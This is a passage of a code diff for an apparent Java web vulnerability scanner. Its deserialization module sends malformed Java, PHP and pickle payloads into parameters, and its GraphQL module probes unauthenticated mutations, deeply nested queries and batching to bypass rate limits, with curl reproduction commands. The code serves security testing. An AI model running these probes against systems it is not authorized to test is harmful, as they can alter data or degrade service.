-- + // This is a truncated Java serialized stream header (magic + version only) + private static final byte[] MALFORMED_JAVA_BYTES = new byte[]{(byte) 0xAC, (byte) 0xED, 0x00, 0x05, 0x73, 0x72, + 0x00, 0x01, 0x41}; + + private static final String MALFORMED_JAVA_B64 = Base64.getEncoder().encodeToString(MALFORMED_JAVA_BYTES); + + // -- Malformed PHP serialized payload -- + private static final String MALFORMED_PHP = "O:1:\"a\":0:{}"; + + // -- Malformed Python pickle payload (protocol 4 header, truncated) -- + private static final byte[] MALFORMED_PICKLE_BYTES = new byte[]{(byte) 0x80, 0x04, (byte) 0x95, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00}; + + private static final String MALFORMED_PICKLE_B64 = Base64.getEncoder().encodeToString(MALFORMED_PICKLE_BYTES); + + @Override + public String id() { + return "Deserialization"; + } + + @Override + public List scan(ScanContext ctx, Consumer log) throws Exception { + String cweId = CweRegistry.cweId(id()); + String cweTitle = CweRegistry.cweTitle(id()); + String cvssVec = CweRegistry.cvssVector(id()); + double cvssScore = CvssCalculator.calculate(cvssVec); + + List findings = new ArrayList<>(); + HttpClient hc = HttpClientFactory.http2(); + + String scheme = ctx.isHttps() ? "https" : "http"; + int defPort = ctx.isHttps() ? 443 : 80; + String base = scheme + "://" + ctx.host() + (ctx.port() != defPort ? ":" + ctx.port() : ""); + + log.accept("[~] " + id() + ": iniciando deteccao de desserializacao insegura em " + base); + + AtomicBoolean cancel = new AtomicBoolean(false); + List>> tasks = new ArrayList<>(); + + // -- Phase 1: Framework fingerprinting (known vulnerable endpoints) -- + tasks.add(() -> { + List local = new ArrayList<>(); + log.accept("[~] " + id() + ": Phase 1 -- verificando endpoints de framework vulneraveis"); + for (String endpoint : FRAMEWORK_ENDPOINTS) { + if (cancel.get()) { + return local; + } + try { + String url = base + endpoint; + HttpRequest req = HttpRequest.newBuilder().uri(URI.create(url)).timeout(Duration.ofSeconds(6)).GET() + .build(); + HttpResponse resp = Http.send(ctx, hc, req, HttpResponse.BodyHandlers.ofString(), id()); + int status = resp.statusCode(); + String body = resp.body() != null ? resp.body() : ""; + + // A 200 or 500 (not 404) on these paths is significant + if (status != 404 && status != 0) { + String serverHdr = resp.headers().firstValue("Server").orElse(""); + String contentType = resp.headers().firstValue("Content-Type").orElse(""); + + if (status == 200 || status == 500 + || contentType.contains("application/x-java-serialized-object") + || JAVA_DESER_ERROR.matcher(body).find()) { + log.accept("[!!] " + id() + ": endpoint de framework acessivel -- " + endpoint + " (HTTP " + + status + ")"); + local.add(Finding.of(id(), endpoint, + "Deserialization -- Endpoint de framework vulneravel acessivel", Severity.CRITICAL, + "Endpoint: " + url + " | HTTP " + status + " | Server: " + serverHdr + + " | Content-Type: " + contentType, + "Endpoint de framework com desserializacao nativa exposto. " + + "Endpoints como JMXInvokerServlet (JBoss), " + + "CoordinatorPortType (WebLogic), e /jenkins/script " + + "permitem RCE via gadget chains em classes do classpath.", + "curl -v '" + url + "'", + "Remover ou restringir acesso a endpoints de gerenciamento. " + + "Usar allowlist de IP para consoles administrativos. " + + "Atualizar frameworks para versoes com desserializacao segura.", + cweId, cweTitle, cvssVec, cvssScore)); + } + } + } catch (CircuitBreakerException cbe) { + throw cbe; + } catch (Exception ignored) { + } + } + return local; + }); + + // -- Phase 2: Response analysis + ViewState detection -- + tasks.add(() -> { + List local = new ArrayList<>(); + log.accept("[~] " + id() + ": Phase 2 -- analise de respostas e ViewState"); + + // Check base URL response for framework headers and serialized content + try { + HttpRequest req = HttpRequest.newBuilder().uri(URI.create(base + "/")).timeout(Duration.ofSeconds(6)) + .GET().build(); + HttpResponse resp = Http.send(ctx, hc, req, HttpResponse.BodyHandlers.ofString(), id()); + String body = resp.body() != null ? resp.body() : ""; + + // Check X-Powered-By / Server headers for vulnerable frameworks + String poweredBy = resp.headers().firstValue("X-Powered-By").orElse(""); + String server = resp.headers().firstValue("Server").orElse(""); + String combined = poweredBy + " " + server; + if (VULN_FRAMEWORK_HEADER.matcher(combined).find()) { + log.accept("[~] " + id() + ": framework com desserializacao conhecida detectado -- " + + combined.trim()); + } + + // Check for ViewState in response body + if (VIEWSTATE_PARAM.matcher(body).find()) { + log.accept("[!!] " + id() + ": ViewState detectado em " + base + "/"); + // Verify if ViewState has MAC validation + boolean macEnabled = body.contains("__VIEWSTATEGENERATOR") || body.contains("__VIEWSTATEENCRYPTED"); + Severity sev = macEnabled ? Severity.MEDIUM : Severity.HIGH; + String macNote = macEnabled + ? "ViewState com MAC/encryption detectado -- exploitacao requer key leak" + : "ViewState sem indicacao de MAC -- potencialmente exploravel"; + local.add(Finding.of(id(), "/", "Deserialization -- ASP.NET ViewState detectado", sev, + "ViewState encontrado no HTML | " + macNote + " | URL: " + base + "/", + "ASP.NET ViewState usa BinaryFormatter/ObjectStateFormatter " + + "para serializar estado do lado do servidor. Sem MAC ou com key " + + "vazada (machineKey), permite RCE via ysoserial.net.", + "curl -s '" + base + "/' | grep -i '__VIEWSTATE'", + "Habilitar ViewState MAC validation (enableViewStateMac=true). " + + "Usar ViewState encryption. Nunca expor machineKey " + + "em web.config ou error pages.", + cweId, cweTitle, cvssVec, cvssScore)); + } + + // Check Content-Type for Java serialized objects + String ct = resp.headers().firstValue("Content-Type").orElse(""); + if (ct.contains("application/x-java-serialized-object")) { + log.accept("[!!] " + id() + ": Content-Type java-serialized-object em " + base + "/"); + local.add(Finding.of(id(), "/", "Deserialization -- Java serialized object no Content-Type", + Severity.CRITICAL, "Content-Type: " + ct + " | URL: " + base + "/", + "Servidor retorna objetos Java serializados via HTTP. " + + "Clientes que desserializam a resposta estao vulneraveis " + + "a gadget chain attacks (ysoserial).", + "curl -v '" + base + "/'", + "Migrar para formatos seguros (JSON, Protocol Buffers). " + + "Nunca usar ObjectInputStream em dados de rede sem filtro de tipos.", + cweId, cweTitle, cvssVec, cvssScore)); + } + } catch (CircuitBreakerException cbe) { + throw cbe; + } catch (Exception ignored) { + } + return local; + }); + + // -- Phase 3: Parameter injection with malformed serialized payloads -- + List probePaths = mergeWithDiscoveredPaths(ctx); + for (int pi = 0; pi < probePaths.size(); pi++) { + final String path = probePaths.get(pi); + final int pathIdx = pi; + tasks.add(() -> { + List local = new ArrayList<>(); + if (cancel.get()) { + return local; + } + log.accept("[~] " + id() + ": Phase 3 [" + (pathIdx + 1) + "/" + probePaths.size() + "] " + path); + + for (String param : DESER_PARAMS) { + if (cancel.get()) { + return local; + } + + // Baseline: normal value + String baselineBody = fetchBody(ctx, hc, base + path + "?" + param + "=test", log); + + // Skip if baseline already contains deser error tokens (anti-FP) + if (JAVA_DESER_ERROR.matcher(baselineBody).find() || PHP_DESER_ERROR.matcher(baselineBody).find() + || PYTHON_PICKLE_ERROR.matcher(baselineBody).find()) { + log.accept("[~] " + id() + ": baseline contem erro de desserializacao em " + path + + " -- pulando param " + param); + continue; + } + + // -- Java: inject malformed serialized object (Base64) -- + Finding javaFinding = probeJavaDeser(ctx, hc, base, path, param, baselineBody, log, cweId, cweTitle, + cvssVec, cvssScore); + if (javaFinding != null) { + local.add(javaFinding); + cancel.set(true); + return local; + } + + // -- PHP: inject malformed serialized object -- + Finding phpFinding = probePhpDeser(ctx, hc, base, path, param, baselineBody, log, cweId, cweTitle, + cvssVec, cvssScore); + if (phpFinding != null) { + local.add(phpFinding); + cancel.set(true); + return local; + } + + // -- Python pickle: inject malformed pickle -- + Finding pickleFinding = probePickleDeser(ctx, hc, base, path, param, baselineBody, log, cweId, + cweTitle, cvssVec, cvssScore); + if (pickleFinding != null) { + local.add(pickleFinding); + cancel.set(true); + return local; + } + } + return local; + }); + } + + // -- Phase 4: Check crawled endpoints for serialized data markers -- + tasks.add(() -> { + List local = new ArrayList<>(); + if (cancel.get()) { + return local; + } + log.accept("[~] " + id() + ": Phase 4 -- verificando dados serializados em cookies e params"); + + for (String crawledPath : ctx.discoveredPaths().paths()) { + if (cancel.get()) { + return local; + } + try { + String url = base + crawledPath; + HttpRequest req = HttpRequest.newBuilder().uri(URI.create(url)).timeout(Duration.ofSeconds(6)).GET() + .build(); + HttpResponse resp = Http.send(ctx, hc, req, HttpResponse.BodyHandlers.ofString(), id()); + + // Check Set-Cookie headers for serialized data + List cookies = resp.headers().allValues("Set-Cookie"); + for (String cookie : cookies) { + String cookieValue = extractCookieValue(cookie); + if (looksLikeSerializedJava(cookieValue)) { + log.accept("[!!] " + id() + ": cookie contendo objeto Java serializado em " + crawledPath); + local.add(Finding.of(id(), crawledPath, + "Deserialization -- Cookie com objeto Java serializado", Severity.HIGH, + "Cookie: " + cookie.substring(0, Math.min(cookie.length(), 80)) + "... | Path: " + + crawledPath, + "Cookie contem dados serializados em Java (prefixo rO0AB). " + + "Se o servidor desserializa o cookie, atacantes podem " + + "injetar gadget chains para RCE.", + "curl -v '" + url + "' | grep -i 'Set-Cookie'", + "Nunca armazenar objetos Java serializados em cookies. " + + "Usar JSON com HMAC para integridade de sessao. " + + "Implementar filtro de tipos em ObjectInputStream.", + cweId, cweTitle, cvssVec, cvssScore)); + cancel.set(true); + return local; + } + if (looksLikeSerializedPhp(cookieValue)) { + log.accept("[!!] " + id() + ": cookie contendo dados PHP serializados em " + crawledPath); + local.add(Finding.of(id(), crawledPath, + "Deserialization -- Cookie com dados PHP serializados", Severity.HIGH, + "Cookie: " + cookie.substring(0, Math.min(cookie.length(), 80)) + "... | Path: " + + crawledPath, + "Cookie contem dados serializados em PHP (prefixo O: ou a:). " + + "Se o servidor usa unserialize() no cookie, atacantes " + + "podem explorar __wakeup/__destruct gadgets para RCE.", + "curl -v '" + url + "' | grep -i 'Set-Cookie'", + "Nunca usar serialize/unserialize em dados de cookie. " + + "Usar JSON com assinatura HMAC. " + + "Se necessario, usar allowed_classes em unserialize().", + cweId, cweTitle, cvssVec, cvssScore)); + cancel.set(true); + return local; + } + } + } catch (CircuitBreakerException cbe) { + throw cbe; + } catch (Exception ignored) { + } + } + return local; + }); + + findings.addAll(ProbeExecutor.run(tasks, ctx.config().probeConcurrency(), cancel)); + + if (findings.isEmpty()) { + log.accept("[+] " + id() + ": nenhuma vulnerabilidade de desserializacao detectada"); + } + return findings; + } + + // -- Probe helpers -- + + private Finding probeJavaDeser(ScanContext ctx, HttpClient hc, String base, String path, String param, + String baseline, Consumer log, String cweId, String cweTitle, String cvssVec, double cvssScore) { + try { + String encoded = URLEncoder.encode(MALFORMED_JAVA_B64, "UTF-8"); + String url = base + path + "?" + param + "=" + encoded; + HttpRequest req = HttpRequest.newBuilder().uri(URI.create(url)).timeout(Duration.ofSeconds(6)).GET() + .build(); + HttpResponse resp = Http.send(ctx, hc, req, HttpResponse.BodyHandlers.ofString(), id()); + String body = resp.body() != null ? resp.body() : ""; + + if (JAVA_DESER_ERROR.matcher(body).find() && !JAVA_DESER_ERROR.matcher(baseline).find()) { + String endpoint = path + "?" + param + "=" + encoded; + log.accept("[!!] " + id() + ": Java deserialization error em " + endpoint); + return Finding.of(id(), endpoint, "Deserialization -- Java ObjectInputStream detectado", + Severity.CRITICAL, + "Payload: malformed Java serialized object (Base64) | Erro de " + + "desserializacao na resposta | URL: " + base + endpoint, + "Servidor tenta desserializar input via ObjectInputStream. " + + "Atacante pode usar ysoserial para gerar gadget chains " + + "(CommonsCollections, Spring, JNDI) para RCE.", + "echo '" + MALFORMED_JAVA_B64 + "' | base64 -d > payload.bin\n" + "curl -G '" + base + path + + "' \\\n" + " --data-urlencode '" + param + "=" + MALFORMED_JAVA_B64 + "'", + "Nunca usar ObjectInputStream em dados de usuario. " + + "Implementar ValidatingObjectInputStream com allowlist de classes. " + + "Migrar para JSON/Protocol Buffers.", + cweId, cweTitle, cvssVec, cvssScore); + } + } catch (CircuitBreakerException cbe) { + throw cbe; + } catch (Exception ignored) { + } + return null; + } + + private Finding probePhpDeser(ScanContext ctx, HttpClient hc, String base, String path, String param, + String baseline, Consumer log, String cweId, String cweTitle, String cvssVec, double cvssScore) { + try { + String encoded = URLEncoder.encode(MALFORMED_PHP, "UTF-8"); + String url = base + path + "?" + param + "=" + encoded; + HttpRequest req = HttpRequest.newBuilder().uri(URI.create(url)).timeout(Duration.ofSeconds(6)).GET() + .build(); + HttpResponse resp = Http.send(ctx, hc, req, HttpResponse.BodyHandlers.ofString(), id()); + String body = resp.body() != null ? resp.body() : ""; + + if (PHP_DESER_ERROR.matcher(body).find() && !PHP_DESER_ERROR.matcher(baseline).find()) { + String endpoint = path + "?" + param + "=" + encoded; + log.accept("[!!] " + id() + ": PHP deserialization error em " + endpoint); + return Finding.of(id(), endpoint, "Deserialization -- PHP unserialize() detectado", Severity.CRITICAL, + "Payload: " + MALFORMED_PHP + " | Erro de unserialize() na resposta" + " | URL: " + base + + endpoint, + "Servidor processa input via unserialize(). " + + "Atacante pode criar POP chains usando classes do framework " + + "(Monolog, Guzzle, Laravel) para execucao de codigo arbitrario.", + "curl -G '" + base + path + "' \\\n" + " --data-urlencode '" + param + "=" + MALFORMED_PHP + + "'", + "Nunca usar unserialize() em dados de usuario. " + + "Usar json_decode() para dados estruturados. " + + "Se necessario, usar allowed_classes parameter.", + cweId, cweTitle, cvssVec, cvssScore); + } + } catch (CircuitBreakerException cbe) { + throw cbe; + } catch (Exception ignored) { + } + return null; + } + + private Finding probePickleDeser(ScanContext ctx, HttpClient hc, String base, String path, String param, + String baseline, Consumer log, String cweId, String cweTitle, String cvssVec, double cvssScore) { + try { + String encoded = URLEncoder.encode(MALFORMED_PICKLE_B64, "UTF-8"); + String url = base + path + "?" + param + "=" + encoded; + HttpRequest req = HttpRequest.newBuilder().uri(URI.create(url)).timeout(Duration.ofSeconds(6)).GET() + .build(); + HttpResponse resp = Http.send(ctx, hc, req, HttpResponse.BodyHandlers.ofString(), id()); + String body = resp.body() != null ? resp.body() : ""; + + if (PYTHON_PICKLE_ERROR.matcher(body).find() && !PYTHON_PICKLE_ERROR.matcher(baseline).find()) { + String endpoint = path + "?" + param + "=" + encoded; + log.accept("[!!] " + id() + ": Python pickle error em " + endpoint); + return Finding.of(id(), endpoint, "Deserialization -- Python pickle.loads() detectado", + Severity.CRITICAL, + "Payload: malformed pickle (Base64) | Erro de unpickling na resposta" + " | URL: " + base + + endpoint, + "Servidor processa input via pickle.loads(). " + + "pickle.loads() executa codigo arbitrario durante " + + "desserializacao via __reduce__. Nao existe uso seguro de " + + "pickle com dados nao confiaveis.", + "echo '" + MALFORMED_PICKLE_B64 + "' | base64 -d > payload.pkl\n" + "curl -G '" + base + path + + "' \\\n" + " --data-urlencode '" + param + "=" + MALFORMED_PICKLE_B64 + "'", + "Nunca usar pickle.loads() em dados de usuario. " + "Migrar para JSON ou MessagePack. " + + "Se necessario, usar hmac para validar integridade antes de carregar.", + cweId, cweTitle, cvssVec, cvssScore); + } + } catch (CircuitBreakerException cbe) { + throw cbe; + } catch (Exception ignored) { + } + return null; + } + + // -- Utility methods -- + + private List mergeWithDiscoveredPaths(ScanContext ctx) { + List merged = new ArrayList<>(PROBE_PATHS); + for (String discovered : ctx.discoveredPaths().paths()) { + if (!merged.contains(discovered)) { + merged.add(discovered); + } + } + return merged; + } + + private String fetchBody(ScanContext ctx, HttpClient hc, String url, Consumer log) { + try { + HttpRequest req = HttpRequest.newBuilder().uri(URI.create(url)).timeout(Duration.ofSeconds(6)).GET() + .build(); + HttpResponse r = Http.send(ctx, hc, req, HttpResponse.BodyHandlers.ofString(), id()); + return r.body() != null ? r.body() : ""; + } catch (Exception e) { + return ""; + } + } + + private static boolean looksLikeSerializedJava(String value) { + if (value == null || value.length() < 8) { + return false; + } + // Check for Base64-encoded Java serialized object (rO0AB prefix) + return value.startsWith(JAVA_SERIAL_B64_PREFIX); + } + + private static boolean looksLikeSerializedPhp(String value) { + if (value == null || value.length() < 4) { + return false; + } + // PHP serialized object: O::""::{...} + // PHP serialized array: a::{...} + return (value.startsWith("O:") || value.startsWith("a:")) && value.contains(":{"); + } + + private static String extractCookieValue(String setCookieHeader) { + if (setCookieHeader == null || setCookieHeader.isEmpty()) { + return ""; + } + // Extract value before first semicolon, after first equals + int eq = setCookieHeader.indexOf('='); + if (eq < 0) { + return ""; + } + String afterEq = setCookieHeader.substring(eq + 1); + int semi = afterEq.indexOf(';'); + return semi >= 0 ? afterEq.substring(0, semi).trim() : afterEq.trim(); + } +} diff --git a/src/main/java/gg/effront/anarcry/scanner/web/graphql/GraphQLModule.java b/src/main/java/gg/effront/anarcry/scanner/web/graphql/GraphQLModule.java index fc0d2f6..73ce738 100644 --- a/src/main/java/gg/effront/anarcry/scanner/web/graphql/GraphQLModule.java +++ b/src/main/java/gg/effront/anarcry/scanner/web/graphql/GraphQLModule.java @@ -6,10 +6,10 @@ import gg.effront.anarcry.model.Severity; import gg.effront.anarcry.scanner.ScanContext; import gg.effront.anarcry.scanner.Scanner; -import gg.effront.anarcry.scanner.util.TlsUtil; -import gg.effront.anarcry.scanner.util.Http; import gg.effront.anarcry.scanner.util.CircuitBreakerException; +import gg.effront.anarcry.scanner.util.Http; import gg.effront.anarcry.scanner.util.HttpClientFactory; +import gg.effront.anarcry.scanner.util.TlsUtil; import java.net.URI; import java.net.http.HttpClient; @@ -19,6 +19,7 @@ import java.util.ArrayList; import java.util.List; import java.util.function.Consumer; +import java.util.regex.Pattern; import javax.net.ssl.SSLParameters; public class GraphQLModule implements Scanner { @@ -29,6 +30,14 @@ public class GraphQLModule implements Scanner { private static final String INTROSPECTION = "{\"query\":\"{__schema{types{name}}}\"}"; private static final String TYPENAME_QUERY = "{\"query\":\"{__typename}\"}"; + // Full introspection query to enumerate mutations + private static final String MUTATION_INTROSPECTION = "{\"query\":\"{__schema{mutationType{name,fields{" + + "name,args{name,type{name,kind,ofType{name}}}}}}}\"}"; + + // Pattern to detect field name suggestions in error messages + private static final Pattern SUGGESTION_PATTERN = Pattern + .compile("(?i)(did you mean|suggest|similar|maybe you meant)[^\"]*\"([^\"]+)\""); + @Override public String id() { return "GraphQL"; @@ -50,6 +59,9 @@ public List scan(ScanContext ctx, Consumer log) throws Exceptio HttpClient hc = HttpClientFactory.noRedirect(); log.accept("[~] GraphQL: descobrindo endpoints em " + baseUrl); + // Track confirmed GraphQL endpoints for advanced probes + List confirmedEndpoints = new ArrayList<>(); + for (String endpoint : ENDPOINTS) { String url = baseUrl + endpoint; try { @@ -65,22 +77,23 @@ public List scan(ScanContext ctx, Consumer log) throws Exceptio continue; } - log.accept("[~] GraphQL: " + endpoint + " → HTTP " + status); + log.accept("[~] GraphQL: " + endpoint + " -> HTTP " + status); if (body.contains("__schema") && body.contains("types")) { log.accept("[!] GraphQL: HIGH -- introspection habilitada em " + url); findings.add(Finding.of("GraphQL", url, "GraphQL introspection habilitada -- schema completo exposto", Severity.HIGH, "Endpoint: " + url + " | HTTP " + status + " | __schema presente na resposta", - "Introspection habilitada em produção expõe o schema completo da API (queries, mutations, " - + "types, campos, diretivas) -- facilita enumeração de superfície de ataque e " - + "descoberta de funcionalidades não documentadas", + "Introspection habilitada em producao expoe o schema completo da API (queries, mutations, " + + "types, campos, diretivas) -- facilita enumeracao de superficie de ataque e " + + "descoberta de funcionalidades nao documentadas", "curl -sX POST " + url + " \\\n" + " -H 'Content-Type: application/json' \\\n" + " -d '" + INTROSPECTION + "' | python3 -m json.tool", - "Desabilitar introspection em produção; considerar persisted queries e " + "Desabilitar introspection em producao; considerar persisted queries e " + "query depth/complexity limits; habilitar introspection apenas em ambientes" + " de dev controlados", _cweId, _cweTitle, _cveVector, _score)); + confirmedEndpoints.add(url); continue; } @@ -103,8 +116,9 @@ public List scan(ScanContext ctx, Consumer log) throws Exceptio "curl -sX POST " + url + " \\\n" + " -H 'Content-Type: application/json' \\\n" + " -d '" + TYPENAME_QUERY + "'", "Habilitar depth limiting, field-level authorization e rate limiting; " - + "considerar persisted queries para reduzir superfície de ataque", + + "considerar persisted queries para reduzir superficie de ataque", _cweId, _cweTitle, _cveVector, _score)); + confirmedEndpoints.add(url); } } catch (CircuitBreakerException cbe) { throw cbe; @@ -119,12 +133,333 @@ public List scan(ScanContext ctx, Consumer log) throws Exceptio } } + // -- Phase 2: Advanced probes on confirmed endpoints -- + for (String gqlUrl : confirmedEndpoints) { + probeMutationTesting(ctx, hc, gqlUrl, findings, log, _cweId, _cweTitle, _cveVector, _score); + probeNestedQueryDoS(ctx, hc, gqlUrl, findings, log, _cweId, _cweTitle, _cveVector, _score); + probeBatchingBypass(ctx, hc, gqlUrl, findings, log, _cweId, _cweTitle, _cveVector, _score); + probeFieldSuggestionLeak(ctx, hc, gqlUrl, findings, log, _cweId, _cweTitle, _cveVector, _score); + } + if (findings.isEmpty()) { log.accept("[+] GraphQL: nenhum endpoint GraphQL encontrado"); } return findings; } + // -- Phase 2a: Mutation testing -- + // Enumerate mutations via introspection and test for unauthenticated access + private void probeMutationTesting(ScanContext ctx, HttpClient hc, String url, List findings, + Consumer log, String cweId, String cweTitle, String cveVector, double score) { + log.accept("[~] GraphQL: testando mutations em " + url); + try { + // Query for mutation schema + HttpRequest req = HttpRequest.newBuilder().uri(URI.create(url)).header("Content-Type", "application/json") + .timeout(Duration.ofSeconds(6)).POST(HttpRequest.BodyPublishers.ofString(MUTATION_INTROSPECTION)) + .build(); + HttpResponse resp = Http.send(ctx, hc, req, HttpResponse.BodyHandlers.ofString(), id()); + String body = resp.body() != null ? resp.body() : ""; + + if (!body.contains("mutationType") || !body.contains("fields")) { + log.accept("[~] GraphQL: mutations nao disponiveis via introspection"); + return; + } + + // Extract mutation names from response (simple pattern extraction) + List mutations = extractMutationNames(body); + if (mutations.isEmpty()) { + return; + } + log.accept("[~] GraphQL: " + mutations.size() + " mutations encontradas"); + + // Test each mutation without auth header (unauthenticated access) + for (String mutation : mutations) { + String testQuery = "{\"query\":\"mutation { " + mutation + "(input: {}) { __typename } }\"}"; + + // Send WITHOUT auth -- check if mutation is accessible + HttpRequest noAuthReq = HttpRequest.newBuilder().uri(URI.create(url)) + .header("Content-Type", "application/json").timeout(Duration.ofSeconds(6)) + .POST(HttpRequest.BodyPublishers.ofString(testQuery)).build(); + HttpResponse noAuthResp = Http.send(ctx, hc, noAuthReq, HttpResponse.BodyHandlers.ofString(), + id()); + String noAuthBody = noAuthResp.body() != null ? noAuthResp.body() : ""; + + // If we get data back (not an auth error), the mutation is accessible without + // auth + boolean hasData = noAuthBody.contains("\"data\"") && !noAuthBody.contains("\"data\":null") + && !noAuthBody.contains("\"data\": null"); + boolean noAuthError = !noAuthBody.contains("unauthorized") && !noAuthBody.contains("unauthenticated") + && !noAuthBody.contains("forbidden") && !noAuthBody.contains("not authenticated") + && !noAuthBody.contains("UNAUTHENTICATED"); + + if (hasData && noAuthError) { + log.accept("[!!] GraphQL: mutation '" + mutation + "' acessivel sem autenticacao"); + findings.add(Finding.of("GraphQL", url, "GraphQL mutation sem autenticacao -- " + mutation, + Severity.HIGH, + "Mutation: " + mutation + " | Resposta sem auth: " + + noAuthBody.substring(0, Math.min(200, noAuthBody.length())), + "Mutation acessivel sem autenticacao pode permitir alteracao de dados, " + + "criacao de contas, ou escalonamento de privilegios", + "curl -sX POST " + url + " \\\n" + " -H 'Content-Type: application/json' \\\n" + " -d '" + + testQuery + "'", + "Exigir autenticacao em todas as mutations; implementar field-level " + + "authorization; usar middleware de autenticacao no resolver", + cweId, cweTitle, cveVector, score)); + break; // One finding is enough to prove the issue + } + } + } catch (CircuitBreakerException cbe) { + throw cbe; + } catch (Exception e) { + log.accept("[~] GraphQL: erro no teste de mutations -- " + e.getMessage()); + } + } + + // -- Phase 2b: Nested query DoS (query depth) -- + // Send increasingly deep nested queries to detect missing depth limits + private void probeNestedQueryDoS(ScanContext ctx, HttpClient hc, String url, List findings, + Consumer log, String cweId, String cweTitle, String cveVector, double score) { + log.accept("[~] GraphQL: testando nested query depth em " + url); + try { + // Measure baseline response time + long baselineStart = System.currentTimeMillis(); + HttpRequest baseReq = HttpRequest.newBuilder().uri(URI.create(url)) + .header("Content-Type", "application/json").timeout(Duration.ofSeconds(6)) + .POST(HttpRequest.BodyPublishers.ofString(TYPENAME_QUERY)).build(); + Http.send(ctx, hc, baseReq, HttpResponse.BodyHandlers.ofString(), id()); + long baselineRtt = System.currentTimeMillis() - baselineStart; + + int[] depths = {5, 10, 20, 50}; + int maxAcceptedDepth = 0; + long maxRtt = 0; + + for (int depth : depths) { + String nestedQuery = buildNestedQuery(depth); + String payload = "{\"query\":\"" + nestedQuery.replace("\"", "\\\"") + "\"}"; + + long start = System.currentTimeMillis(); + HttpRequest req = HttpRequest.newBuilder().uri(URI.create(url)) + .header("Content-Type", "application/json").timeout(Duration.ofSeconds(10)) + .POST(HttpRequest.BodyPublishers.ofString(payload)).build(); + HttpResponse resp = Http.send(ctx, hc, req, HttpResponse.BodyHandlers.ofString(), id()); + long rtt = System.currentTimeMillis() - start; + String body = resp.body() != null ? resp.body() : ""; + int status = resp.statusCode(); + + // Server rejected (depth limit in place) -- stop escalating + boolean rejected = body.contains("depth") || body.contains("complexity") || body.contains("too many") + || body.contains("maximum") || status == 400 || status == 413 || status == 429; + if (rejected) { + log.accept("[~] GraphQL: depth " + depth + " rejeitado -- limite detectado"); + break; + } + + maxAcceptedDepth = depth; + maxRtt = rtt; + log.accept("[~] GraphQL: depth " + depth + " aceito (rtt=" + rtt + "ms)"); + } + + // Report if server accepted depth >= 20 without rejection + if (maxAcceptedDepth >= 20) { + String rttInfo = "baseline=" + baselineRtt + "ms, depth " + maxAcceptedDepth + "=" + maxRtt + "ms"; + Severity sev = maxAcceptedDepth >= 50 ? Severity.HIGH : Severity.MEDIUM; + log.accept("[!] GraphQL: " + sev + " -- nested query depth " + maxAcceptedDepth + " aceito"); + findings.add(Finding.of("GraphQL", url, + "GraphQL DoS -- nested query depth " + maxAcceptedDepth + " sem limite", sev, + "Endpoint: " + url + " | Depth maximo aceito: " + maxAcceptedDepth + " | RTT: " + rttInfo, + "Servidor aceita queries com aninhamento profundo sem limites de depth ou " + + "complexity -- atacante pode causar DoS com queries exponencialmente " + + "custosas (ex: N+1 queries, cartesian product via fragments)", + "curl -sX POST " + url + " \\\n" + " -H 'Content-Type: application/json' \\\n" + + " -d '{\"query\":\"" + buildNestedQuery(maxAcceptedDepth).replace("\"", "\\\"") + + "\"}'", + "Implementar query depth limiting (max 10-15); habilitar query complexity " + + "analysis; usar timeout por query; considerar persisted queries", + cweId, cweTitle, cveVector, score)); + } + } catch (CircuitBreakerException cbe) { + throw cbe; + } catch (Exception e) { + log.accept("[~] GraphQL: erro no teste de depth -- " + e.getMessage()); + } + } + + // -- Phase 2c: Batching/aliasing bypass -- + // Test if server allows batched queries or aliased queries that bypass rate + // limits + private void probeBatchingBypass(ScanContext ctx, HttpClient hc, String url, List findings, + Consumer log, String cweId, String cweTitle, String cveVector, double score) { + log.accept("[~] GraphQL: testando batching/aliasing bypass em " + url); + try { + // Test 1: Array batching + String batchPayload = "[" + "{\"query\":\"{__typename}\"}," + "{\"query\":\"{__typename}\"}," + + "{\"query\":\"{__typename}\"}," + "{\"query\":\"{__typename}\"}," + "{\"query\":\"{__typename}\"}" + + "]"; + + HttpRequest batchReq = HttpRequest.newBuilder().uri(URI.create(url)) + .header("Content-Type", "application/json").timeout(Duration.ofSeconds(6)) + .POST(HttpRequest.BodyPublishers.ofString(batchPayload)).build(); + HttpResponse batchResp = Http.send(ctx, hc, batchReq, HttpResponse.BodyHandlers.ofString(), id()); + String batchBody = batchResp.body() != null ? batchResp.body() : ""; + int batchStatus = batchResp.statusCode(); + + boolean batchAccepted = batchStatus == 200 && batchBody.startsWith("[") + && countOccurrences(batchBody, "__typename") >= 3; + + // Test 2: Aliased queries + StringBuilder aliasQuery = new StringBuilder("{ "); + int aliasCount = 20; + for (int i = 1; i <= aliasCount; i++) { + aliasQuery.append("a").append(i).append(": __typename "); + } + aliasQuery.append("}"); + String aliasPayload = "{\"query\":\"" + aliasQuery.toString().replace("\"", "\\\"") + "\"}"; + + HttpRequest aliasReq = HttpRequest.newBuilder().uri(URI.create(url)) + .header("Content-Type", "application/json").timeout(Duration.ofSeconds(6)) + .POST(HttpRequest.BodyPublishers.ofString(aliasPayload)).build(); + HttpResponse aliasResp = Http.send(ctx, hc, aliasReq, HttpResponse.BodyHandlers.ofString(), id()); + String aliasBody = aliasResp.body() != null ? aliasResp.body() : ""; + int aliasStatus = aliasResp.statusCode(); + + boolean aliasAccepted = aliasStatus == 200 && aliasBody.contains("\"data\"") + && countOccurrences(aliasBody, "\"a") >= aliasCount / 2; + + if (batchAccepted || aliasAccepted) { + String technique = batchAccepted && aliasAccepted + ? "batching + aliasing" + : batchAccepted ? "batching" : "aliasing"; + String evidence; + if (batchAccepted) { + evidence = "Batch de 5 queries aceito (HTTP " + batchStatus + "): " + + batchBody.substring(0, Math.min(200, batchBody.length())); + } else { + evidence = "Alias de " + aliasCount + " queries aceito (HTTP " + aliasStatus + "): " + + aliasBody.substring(0, Math.min(200, aliasBody.length())); + } + + log.accept("[!] GraphQL: MEDIUM -- " + technique + " bypass detectado"); + findings.add(Finding.of("GraphQL", url, "GraphQL rate limit bypass via " + technique, Severity.MEDIUM, + evidence, + "Servidor aceita " + technique + " sem rate limiting por operacao -- " + + "atacante pode executar multiplas queries em um unico request HTTP, " + + "bypassando rate limits baseados em requests/segundo " + + "(ex: brute force, enumeracao de dados)", + "curl -sX POST " + url + " \\\n" + " -H 'Content-Type: application/json' \\\n" + " -d '" + + (batchAccepted ? batchPayload : aliasPayload) + "'", + "Implementar rate limiting por operacao GraphQL (nao por request HTTP); " + + "limitar numero de queries por batch; limitar aliases por query; " + + "considerar query cost analysis", + cweId, cweTitle, cveVector, score)); + } + } catch (CircuitBreakerException cbe) { + throw cbe; + } catch (Exception e) { + log.accept("[~] 